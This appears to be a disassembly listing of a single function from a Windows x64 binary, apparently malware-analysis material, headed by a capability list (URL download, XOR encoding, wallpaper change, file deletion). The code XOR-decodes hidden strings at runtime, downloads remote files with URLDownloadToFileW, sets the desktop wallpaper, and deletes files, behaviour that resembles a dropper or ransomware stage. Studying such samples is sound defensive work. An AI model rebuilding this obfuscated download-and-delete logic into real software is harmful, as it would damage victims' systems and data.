Function at 0x140035a08
Capabilities:
Authenticate hmac
Change the wallpaper
Delete file
Download url
Encode data using xor
Receive data

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r12
push rbp
lea rbp, [rax - 0x208]
sub rsp, 0x300
mov rax, qword [0x1404600c0]
xor rax, rsp
mov qword [rbp + 0x1f0], rax
lea rcx, [rbp + 0x50]
lea rdx, [0x14044fce0]
mov edi, 2
mov eax, edi
lea r12d, [rdi + 0x7e]
movups xmm0, xmmword [rdx]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rdx + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rdx + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rdx + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rdx + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rdx + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rdx + 0x60]
movups xmmword [rcx + 0x60], xmm0
add rcx, r12
movups xmm1, xmmword [rdx + 0x70]
movups xmmword [rcx - 0x10], xmm1
add rdx, r12
sub rax, 1
jne 0x140035a51
movups xmm0, xmmword [rdx]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rdx + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rdx + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rdx + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rdx + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rdx + 0x50]
movups xmmword [rcx + 0x50], xmm1
mov rax, qword [rdx + 0x60]
mov qword [rcx + 0x60], rax
mov eax, dword [rdx + 0x68]
mov dword [rcx + 0x68], eax
movzx eax, word [rdx + 0x6c]
mov word [rcx + 0x6c], ax
xor ebx, ebx
mov r8d, ebx
lea r9, [rbp + 0x50]
mov esi, 0x8d3dcb09
mov eax, esi
mul r8d
shr edx, 5
movzx eax, dx
imul ecx, eax, 0x3a
movzx eax, r8w
sub ax, cx
add ax, 0x36
xor word [r9], ax
inc r8d
add r9, rdi
cmp r8d, 0xb7
jl 0x140035aed
movups xmm0, xmmword [0x14044f920]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [0x14044f930]
movups xmmword [rsp + 0x40], xmm1
movsd xmm0, qword [0x14044f940]
movsd qword [rsp + 0x50], xmm0
mov eax, dword [0x14044f948]
mov dword [rsp + 0x58], eax
movzx eax, word [0x14044f94c]
mov word [rsp + 0x5c], ax
mov r8d, ebx
lea r9, [rsp + 0x30]
mov eax, esi
mul r8d
shr edx, 5
movzx eax, dx
imul ecx, eax, 0x3a
movzx eax, r8w
sub ax, cx
add ax, 0x36
xor word [r9], ax
inc r8d
add r9, rdi
cmp r8d, 0x17
jl 0x140035b5d
mov qword [rsp + 0x20], rbx
xor r9d, r9d
lea r8, [rsp + 0x30]
lea rdx, [rbp + 0x50]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
test eax, eax
js 0x140035c10
mov r9d, 3
lea r8, [rsp + 0x30]
xor edx, edx
lea ecx, [rdx + 0x14]
call qword [sym.imp.USER32.dll_SystemParametersInfoW]
test eax, eax
je 0x140035bed
lea rdx, str.Wallpaper_set_successfully.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140045d0c
lea rdx, [0x140045e94]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp 0x140035c10
lea rdx, str.Failed_to_set_the_wallpaper.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
call fcn.140045d0c
lea rdx, [0x140045e94]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rcx, [rbp + 0x50]
lea rdx, [0x14044fce0]
mov rax, rdi
movups xmm0, xmmword [rdx]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rdx + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rdx + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rdx + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rdx + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rdx + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rdx + 0x60]
movups xmmword [rcx + 0x60], xmm0
add rcx, r12
movups xmm1, xmmword [rdx + 0x70]
movups xmmword [rcx - 0x10], xmm1
add rdx, r12
sub rax, 1
jne 0x140035c1e
movups xmm0, xmmword [rdx]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rdx + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rdx + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rdx + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rdx + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rdx + 0x50]
movups xmmword [rcx + 0x50], xmm1
mov rax, qword [rdx + 0x60]
mov qword [rcx + 0x60], rax
mov eax, dword [rdx + 0x68]
mov dword [rcx + 0x68], eax
movzx eax, word [rdx + 0x6c]
mov word [rcx + 0x6c], ax
mov r8d, ebx
lea r9, [rbp + 0x50]
mov eax, esi
mul r8d
shr edx, 5
movzx eax, dx
imul ecx, eax, 0x3a
movzx eax, r8w
sub ax, cx
add ax, 0x36
xor word [r9], ax
inc r8d
add r9, rdi
cmp r8d, 0xb7
jl 0x140035cb3
movups xmm0, xmmword [0x14044e170]
movups xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [0x14044e180]
movups xmmword [rbp - 0x50], xmm1
movups xmm0, xmmword [0x14044e190]
movups xmmword [rbp - 0x40], xmm0
movsd xmm0, qword [0x14044e1a0]
movsd qword [rbp - 0x30], xmm0
mov r8d, ebx
lea r9, [rbp - 0x60]
mov eax, esi
mul r8d
shr edx, 5
movzx eax, dx
imul ecx, eax, 0x3a
movzx eax, r8w
sub ax, cx
add ax, 0x36
xor word [r9], ax
inc r8d
add r9, rdi
cmp r8d, 0x1c
jl 0x140035d14
lea rdx, [rbp - 0x60]
lea rcx, [rbp + 0x50]
call fcn.140035410
lea rcx, [rbp + 0x50]
lea rdx, str.CLII
mov rax, rdi
movups xmm0, xmmword [rdx]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rdx + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rdx + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rdx + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rdx + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rdx + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rdx + 0x60]
movups xmmword [rcx + 0x60], xmm0
add rcx, r12
movups xmm1, xmmword [rdx + 0x70]
movups xmmword [rcx - 0x10], xmm1
add rdx, r12
sub rax, 1
jne 0x140035d58
movups xmm0, xmmword [rdx]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rdx + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rdx + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rdx + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rdx + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rdx + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rdx + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rdx + 0x70]
mov dword [rcx + 0x70], eax
movzx eax, word [rdx + 0x74]
mov word [rcx + 0x74], ax
mov r8d, ebx
lea r9, [rbp + 0x50]
mov eax, esi
mul r8d
shr edx, 5
movzx eax, dx
imul ecx, eax, 0x3a
movzx eax, r8w
sub ax, cx
add ax, 0x36
xor word [r9], ax
inc r8d
add r9, rdi
cmp r8d, 0xbb
jl 0x140035ded
movups xmm0, xmmword [0x14044e170]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [0x14044e180]
movups xmmword [rsp + 0x40], xmm1
movups xmm0, xmmword [0x14044e190]
movups xmmword [rsp + 0x50], xmm0
movsd xmm0, qword [0x14044e1a0]
movsd qword [rsp + 0x60], xmm0
mov r8d, ebx
lea r9, [rsp + 0x30]
mov eax, esi
mul r8d
shr edx, 5
movzx eax, dx
imul ecx, eax, 0x3a
movzx eax, r8w
sub ax, cx
add ax, 0x36
xor word [r9], ax
inc r8d
add r9, rdi
cmp r8d, 0x1c
jl 0x140035e53
xorps xmm0, xmm0
movups xmmword [rbp + 0x1d0], xmm0
mov qword [rbp + 0x1e0], rbx
mov qword [rbp + 0x1e8], rbx
lea rax, [rsp + 0x30]
or r8, 0xffffffffffffffff
inc r8
cmp word [rax + r8*2], bx
jne 0x140035e9d
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x1d0]
call fcn.140046c9c
nop
lea rax, [rbp + 0x1d0]
mov rdx, qword [rbp + 0x1e8]
cmp rdx, 7
cmova rax, qword [rbp + 0x1d0]
mov rcx, qword [rbp + 0x1e0]
mov r9d, 0x5c
cmp word [rax + rcx*2 - 2], r9w
je 0x140035f1d
cmp rcx, rdx
jae 0x140035f11
lea rax, [rcx + 1]
mov qword [rbp + 0x1e0], rax
lea rax, [rbp + 0x1d0]
cmp rdx, 7
cmova rax, qword [rbp + 0x1d0]
mov dword [rax + rcx*2], r9d
jmp 0x140035f1d
lea rcx, [rbp + 0x1d0]
call fcn.14004688c
movups xmm0, xmmword [str.ER__YSN_b_vn2_0D]
movups xmmword [rsp + 0x30], xmm0
movsd xmm0, qword [0x140450688]
movsd qword [rsp + 0x40], xmm0
mov eax, dword [0x140450690]
mov dword [rsp + 0x48], eax
movzx eax, word [0x140450694]
mov word [rsp + 0x4c], ax
mov r8d, ebx
lea r9, [rsp + 0x30]
mov eax, esi
mul r8d
shr edx, 5
movzx eax, dx
imul ecx, eax, 0x3a
movzx eax, r8w
sub ax, cx
add ax, 0x36
xor word [r9], ax
inc r8d
add r9, rdi
cmp r8d, 0xf
jl 0x140035f55
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x1d0]
call fcn.1400447b8
lea r8, [rbp + 0x1d0]
cmp qword [rbp + 0x1e8], 7
cmova r8, qword [rbp + 0x1d0]
mov qword [rsp + 0x20], rbx
xor r9d, r9d
lea rdx, [rbp + 0x50]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
nop
lea rcx, [rbp + 0x1d0]
call fcn.14004531c
lea rcx, [rbp + 0x50]
lea rdx, [0x14044e4e0]
mov rax, rdi
movups xmm0, xmmword [rdx]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rdx + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rdx + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rdx + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rdx + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rdx + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rdx + 0x60]
movups xmmword [rcx + 0x60], xmm0
add rcx, r12
movups xmm1, xmmword [rdx + 0x70]
movups xmmword [rcx - 0x10], xmm1
add rdx, r12
sub rax, 1
jne 0x140035fd5
movups xmm0, xmmword [rdx]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rdx + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rdx + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rdx + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rdx + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rdx + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rdx + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rdx + 0x70]
mov dword [rcx + 0x70], eax
movzx eax, word [rdx + 0x74]
mov word [rcx + 0x74], ax
mov r8d, ebx
lea r9, [rbp + 0x50]
mov eax, esi
mul r8d
shr edx, 5
movzx eax, dx
imul ecx, eax, 0x3a
movzx eax, r8w
sub ax, cx
add ax, 0x36
xor word [r9], ax
inc r8d
add r9, rdi
cmp r8d, 0xbb
jl 0x14003606a
lea rdx, [rbp - 0x60]
lea rcx, [rbp + 0x50]
call fcn.1400356ac
mov qword [rbp - 0x70], rdi
lea rcx, [rbp - 0x70]
call fcn.140045ed0
movaps xmm0, xmmword [0x14044e900]
movaps xmmword [rsp + 0x30], xmm0
movaps xmm1, xmmword [0x14044e910]
movaps xmmword [rsp + 0x40], xmm1
movaps xmm0, xmmword [0x14044e920]
movaps xmmword [rsp + 0x50], xmm0
movaps xmm1, xmmword [0x14044e930]
movaps xmmword [rsp + 0x60], xmm1
movaps xmm0, xmmword [0x14044e940]
movaps xmmword [rsp + 0x70], xmm0
mov eax, dword [0x14044e950]
mov dword [rbp - 0x80], eax
movzx eax, word [0x14044e954]
mov word [rbp - 0x7c], ax
mov r8d, ebx
lea r9, [rsp + 0x30]
mov eax, esi
mul r8d
shr edx, 5
movzx eax, dx
imul ecx, eax, 0x3a
movzx eax, r8w
sub ax, cx
add ax, 0x36
xor word [r9], ax
inc r8d
add r9, rdi
cmp r8d, 0x2b
jl 0x140036108
movaps xmm0, xmmword [0x14044e8b0]
movaps xmmword [rbp - 0x60], xmm0
movaps xmm1, xmmword [0x14044e8c0]
movaps xmmword [rbp - 0x50], xmm1
movaps xmm0, xmmword [0x14044e8d0]
movaps xmmword [rbp - 0x40], xmm0
movaps xmm1, xmmword [0x14044e8e0]
movaps xmmword [rbp - 0x30], xmm1
movsd xmm0, qword [0x14044e8f0]
movsd qword [rbp - 0x20], xmm0
mov eax, dword [0x14044e8f8]
mov dword [rbp - 0x18], eax
movzx eax, word [0x14044e8fc]
mov word [rbp - 0x14], ax
mov r8d, ebx
lea r9, [rbp - 0x60]
mov eax, esi
mul r8d
shr edx, 5
movzx eax, dx
imul ecx, eax, 0x3a
movzx eax, r8w
sub ax, cx
add ax, 0x36
xor word [r9], ax
inc r8d
add r9, rdi
cmp r8d, 0x27
jl 0x140036185
movaps xmm0, xmmword [0x14044ece0]
movaps xmmword [rbp - 0x10], xmm0
movaps xmm1, xmmword [0x14044ecf0]
movaps xmmword [rbp], xmm1
movaps xmm0, xmmword [0x14044ed00]
movaps xmmword [rbp + 0x10], xmm0
movaps xmm1, xmmword [0x14044ed10]
movaps xmmword [rbp + 0x20], xmm1
movaps xmm0, xmmword [0x14044ed20]
movaps xmmword [rbp + 0x30], xmm0
mov eax, dword [0x14044ed30]
mov dword [rbp + 0x40], eax
movzx eax, word [0x14044ed34]
mov word [rbp + 0x44], ax
mov r8d, ebx
lea r9, [rbp - 0x10]
mov eax, esi
mul r8d
shr edx, 5
movzx eax, dx
imul ecx, eax, 0x3a
movzx eax, r8w
sub ax, cx
add ax, 0x36
xor word [r9], ax
inc r8d
add r9, rdi
cmp r8d, 0x2b
jl 0x140036200
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
je 0x140036250
lea rcx, [rbp - 0x60]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
je 0x140036250
lea rcx, [rbp - 0x10]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rcx, qword [rbp + 0x1f0]
xor rcx, rsp
call fcn.1400a97e0
lea r11, [rsp + 0x300]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r12, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret